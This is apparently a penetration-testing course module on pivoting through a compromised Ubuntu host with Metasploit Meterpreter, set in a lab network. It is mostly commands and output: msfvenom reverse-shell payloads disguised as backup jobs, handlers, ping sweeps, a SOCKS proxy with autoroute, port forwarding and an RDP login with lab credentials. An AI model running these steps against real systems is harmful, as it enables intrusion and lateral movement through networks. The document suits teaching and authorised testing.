# Meterpreter Tunneling & Port Forwarding

Now let us consider a scenario where we have our Meterpreter shell access on the Ubuntu server (the pivot host), and we want to perform enumeration scans through the pivot host, but we would like to take advantage of the conveniences that Meterpreter sessions bring us. In such cases, we can still create a pivot with our Meterpreter session without relying on SSH port forwarding. We can create a Meterpreter shell for the Ubuntu server with the below command, which will return a shell on our attack host on port 8080.

#### Creating Payload for Ubuntu Pivot Host

Creating Payload for Ubuntu Pivot Host

yovecio@htb[/htb]$ msfvenom -p linux/x64/meterpreter/reverse\_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080  
  
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
[-] No arch selected, selecting arch: x64 from the payload  
No encoder specified, outputting raw payload  
Payload size: 130 bytes  
Final size of elf file: 250 bytes  
Saved as: backupjob

Before copying the payload over, we can start a [multi/handler](https://www.rapid7.com/db/modules/exploit/multi/handler/), also known as a Generic Payload Handler.

#### Configuring & Starting the multi/handler

Configuring & Starting the multi/handler

msf6 > use exploit/multi/handler  
  
[\*] Using configured payload generic/shell\_reverse\_tcp  
msf6 exploit(multi/handler) > set lhost 0.0.0.0  
lhost => 0.0.0.0  
msf6 exploit(multi/handler) > set lport 8080  
lport => 8080  
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse\_tcp  
payload => linux/x64/meterpreter/reverse\_tcp  
msf6 exploit(multi/handler) > run  
[\*] Started reverse TCP handler on 0.0.0.0:8080

We can copy the backupjob binary file to the Ubuntu pivot host over SSH and execute it to gain a Meterpreter session.

#### Executing the Payload on the Pivot Host

Executing the Payload on the Pivot Host

ubuntu@WebServer:~$ ls  
  
backupjob  
ubuntu@WebServer:~$ chmod +x backupjob   
ubuntu@WebServer:~$ ./backupjob

We need to make sure the Meterpreter session is successfully established upon executing the payload.

#### Meterpreter Session Establishment

Meterpreter Session Establishment

[\*] Sending stage (3020772 bytes) to 10.129.202.64  
[\*] Meterpreter session 1 opened (10.10.14.18:8080 -> 10.129.202.64:39826 ) at 2022-03-03 12:27:43 -0500  
meterpreter > pwd  
  
/home/ubuntu

We know that the Windows target is on the 172.16.5.0/23 network. So assuming that the firewall on the Windows target is allowing ICMP requests, we would want to perform a ping sweep on this network. We can do that using Meterpreter with the ping\_sweep module, which will generate the ICMP traffic from the Ubuntu host to the network 172.16.5.0/23.

#### Ping Sweep

Ping Sweep

meterpreter > run post/multi/gather/ping\_sweep RHOSTS=172.16.5.0/23  
  
[\*] Performing ping sweep for IP range 172.16.5.0/23

We could also perform a ping sweep using a for loop directly on a target pivot host that will ping any device in the network range we specify. Here are two helpful ping sweep for loop one-liners we could use for Linux-based and Windows-based pivot hosts.

#### Ping Sweep For Loop on Linux Pivot Hosts

Ping Sweep For Loop on Linux Pivot Hosts

for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done

#### Ping Sweep For Loop Using CMD

Ping Sweep For Loop Using CMD

for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"

#### Ping Sweep Using PowerShell

Ping Sweep Using PowerShell

1..254 | % {"172.16.5.$($\_): $(Test-Connection -count 1 -comp 172.15.5.$($\_) -quiet)"}

Note: It is possible that a ping sweep may not result in successful replies on the first attempt, especially when communicating across networks. This can be caused by the time it takes for a host to build it's arp cache. In these cases, it is good to attempt our ping sweep at least twice to ensure the arp cache gets built.

There could be scenarios when a host's firewall blocks ping (ICMP), and the ping won't get us successful replies. In these cases, we can perform a TCP scan on the 172.16.5.0/23 network with Nmap. Instead of using SSH for port forwarding, we can also use Metasploit's post-exploitation routing module socks\_proxy to configure a local proxy on our attack host. We will configure the SOCKS proxy for SOCKS version 4a. This SOCKS configuration will start a listener on port 9050 and route all the traffic received via our Meterpreter session.

#### Configuring MSF's SOCKS Proxy

Configuring MSF's SOCKS Proxy

msf6 > use auxiliary/server/socks\_proxy  
  
msf6 auxiliary(server/socks\_proxy) > set SRVPORT 9050  
SRVPORT => 9050  
msf6 auxiliary(server/socks\_proxy) > set SRVHOST 0.0.0.0  
SRVHOST => 0.0.0.0  
msf6 auxiliary(server/socks\_proxy) > set version 4a  
version => 4a  
msf6 auxiliary(server/socks\_proxy) > run  
[\*] Auxiliary module running as background job 0.  
  
[\*] Starting the SOCKS proxy server  
msf6 auxiliary(server/socks\_proxy) > options  
  
Module options (auxiliary/server/socks\_proxy):  
  
 Name Current Setting Required Description  
 ---- --------------- -------- -----------  
 SRVHOST 0.0.0.0 yes The address to listen on  
 SRVPORT 9050 yes The port to listen on  
 VERSION 4a yes The SOCKS version to use (Accepted: 4a,  
 5)  
  
  
Auxiliary action:  
  
 Name Description  
 ---- -----------  
 Proxy Run a SOCKS proxy server

#### Confirming Proxy Server is Running

Confirming Proxy Server is Running

msf6 auxiliary(server/socks\_proxy) > jobs  
  
Jobs  
====  
  
 Id Name Payload Payload opts  
 -- ---- ------- ------------  
 0 Auxiliary: server/socks\_proxy

After initiating the SOCKS server, we will configure proxychains to route traffic generated by other tools like Nmap through our pivot on the compromised Ubuntu host. We can add the below line at the end of our proxychains.conf file located at /etc/proxychains.conf if it isn't already there.

#### Adding a Line to proxychains.conf if Needed

Adding a Line to proxychains.conf if Needed

socks4 127.0.0.1 9050

Note: Depending on the version the SOCKS server is running, we may occasionally need to changes socks4 to socks5 in proxychains.conf.

Finally, we need to tell our socks\_proxy module to route all the traffic via our Meterpreter session. We can use the post/multi/manage/autoroute module from Metasploit to add routes for the 172.16.5.0 subnet and then route all our proxychains traffic.

#### Creating Routes with AutoRoute

Creating Routes with AutoRoute

msf6 > use post/multi/manage/autoroute  
  
msf6 post(multi/manage/autoroute) > set SESSION 1  
SESSION => 1  
msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0  
SUBNET => 172.16.5.0  
msf6 post(multi/manage/autoroute) > run  
  
[!] SESSION may not be compatible with this module:  
[!] \* incompatible session platform: linux  
[\*] Running module against 10.129.202.64  
[\*] Searching for subnets to autoroute.  
[+] Route added to subnet 10.129.0.0/255.255.0.0 from host's routing table.  
[+] Route added to subnet 172.16.5.0/255.255.254.0 from host's routing table.  
[\*] Post module execution completed

It is also possible to add routes with autoroute by running autoroute from the Meterpreter session.

Creating Routes with AutoRoute

meterpreter > run autoroute -s 172.16.5.0/23  
  
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.  
[!] Example: run post/multi/manage/autoroute OPTION=value [...]  
[\*] Adding a route to 172.16.5.0/255.255.254.0...  
[+] Added route to 172.16.5.0/255.255.254.0 via 10.129.202.64  
[\*] Use the -p option to list all active routes

After adding the necessary route(s) we can use the -p option to list the active routes to make sure our configuration is applied as expected.

#### Listing Active Routes with AutoRoute

Listing Active Routes with AutoRoute

meterpreter > run autoroute -p  
  
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.  
[!] Example: run post/multi/manage/autoroute OPTION=value [...]  
  
Active Routing Table  
====================  
  
 Subnet Netmask Gateway  
 ------ ------- -------  
 10.129.0.0 255.255.0.0 Session 1  
 172.16.4.0 255.255.254.0 Session 1  
 172.16.5.0 255.255.254.0 Session 1

As you can see from the output above, the route has been added to the 172.16.5.0/23 network. We will now be able to use proxychains to route our Nmap traffic via our Meterpreter session.

#### Testing Proxy & Routing Functionality

Testing Proxy & Routing Functionality

yovecio@htb[/htb]$ proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn  
  
ProxyChains-3.1 (<http://proxychains.sf.net>)  
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.  
Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-03-03 13:40 EST  
Initiating Parallel DNS resolution of 1 host. at 13:40  
Completed Parallel DNS resolution of 1 host. at 13:40, 0.12s elapsed  
Initiating Connect Scan at 13:40  
Scanning 172.16.5.19 [1 port]  
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19 :3389-<><>-OK  
Discovered open port 3389/tcp on 172.16.5.19  
Completed Connect Scan at 13:40, 0.12s elapsed (1 total ports)  
Nmap scan report for 172.16.5.19   
Host is up (0.12s latency).  
  
PORT STATE SERVICE  
3389/tcp open ms-wbt-server  
  
Read data files from: /usr/bin/../share/nmap  
Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds

## Port Forwarding

Port forwarding can also be accomplished using Meterpreter's portfwd module. We can enable a listener on our attack host and request Meterpreter to forward all the packets received on this port via our Meterpreter session to a remote host on the 172.16.5.0/23 network.

#### Portfwd options

Portfwd options

meterpreter > help portfwd  
  
Usage: portfwd [-h] [add | delete | list | flush] [args]  
  
  
OPTIONS:  
  
 -h Help banner.  
 -i <opt> Index of the port forward entry to interact with (see the "list" command).  
 -l <opt> Forward: local port to listen on. Reverse: local port to connect to.  
 -L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.  
 -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.  
 -r <opt> Forward: remote host to connect to.  
 -R Indicates a reverse port forward.

#### Creating Local TCP Relay

Creating Local TCP Relay

meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19  
  
[\*] Local TCP relay created: :3300 <-> 172.16.5.19:3389

The above command requests the Meterpreter session to start a listener on our attack host's local port (-l) 3300 and forward all the packets to the remote (-r) Windows server 172.16.5.19 on 3389 port (-p) via our Meterpreter session. Now, if we execute xfreerdp on our localhost:3300, we will be able to create a remote desktop session.

#### Connecting to Windows Target through localhost

Connecting to Windows Target through localhost

yovecio@htb[/htb]$ xfreerdp /v:localhost:3300 /u:victor /p:pass@123

#### Netstat Output

We can use Netstat to view information about the session we recently established. From a defensive perspective, we may benefit from using Netstat if we suspect a host has been compromised. This allows us to view any sessions a host has established.

Netstat Output

yovecio@htb[/htb]$ netstat -antp  
  
tcp 0 0 127.0.0.1:54652 127.0.0.1:3300 ESTABLISHED 4075/xfreerdp

## Meterpreter Reverse Port Forwarding

Similar to local port forwards, Metasploit can also perform reverse port forwarding with the below command, where you might want to listen on a specific port on the compromised server and forward all incoming shells from the Ubuntu server to our attack host. We will start a listener on a new port on our attack host for Windows and request the Ubuntu server to forward all requests received to the Ubuntu server on port 1234 to our listener on port 8081.

We can create a reverse port forward on our existing shell from the previous scenario using the below command. This command forwards all connections on port 1234 running on the Ubuntu server to our attack host on local port (-l) 8081. We will also configure our listener to listen on port 8081 for a Windows shell.

#### Reverse Port Forwarding Rules

Reverse Port Forwarding Rules

meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18  
  
[\*] Local TCP relay created: 10.10.14.18:8081 <-> :1234

#### Configuring & Starting multi/handler

Configuring & starting multi/handler

meterpreter > bg  
  
[\*] Backgrounding session 1...  
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse\_tcp  
payload => windows/x64/meterpreter/reverse\_tcp  
msf6 exploit(multi/handler) > set LPORT 8081   
LPORT => 8081  
msf6 exploit(multi/handler) > set LHOST 0.0.0.0   
LHOST => 0.0.0.0  
msf6 exploit(multi/handler) > run  
  
[\*] Started reverse TCP handler on 0.0.0.0:8081

We can now create a reverse shell payload that will send a connection back to our Ubuntu server on 172.16.5.129:1234 when executed on our Windows host. Once our Ubuntu server receives this connection, it will forward that to attack host's ip:8081 that we configured.

#### Generating the Windows Payload

Generating the Windows Payload

yovecio@htb[/htb]$ msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234  
  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x64 from the payload  
No encoder specified, outputting raw payload  
Payload size: 510 bytes  
Final size of exe file: 7168 bytes  
Saved as: backupscript.exe

Finally, if we execute our payload on the Windows host, we should be able to receive a shell from Windows pivoted via the Ubuntu server.

#### Establishing the Meterpreter session

Establishing the Meterpreter session

[\*] Started reverse TCP handler on 0.0.0.0:8081   
[\*] Sending stage (200262 bytes) to 10.10.14.18  
[\*] Meterpreter session 2 opened (10.10.14.18:8081 -> 10.10.14.18:40173 ) at 2022-03-04 15:26:14 -0500  
  
meterpreter > shell  
Process 2336 created.  
Channel 1 created.  
Microsoft Windows [Version 10.0.17763.1637]  
(c) 2018 Microsoft Corporation. All rights reserved.  
  
C:\>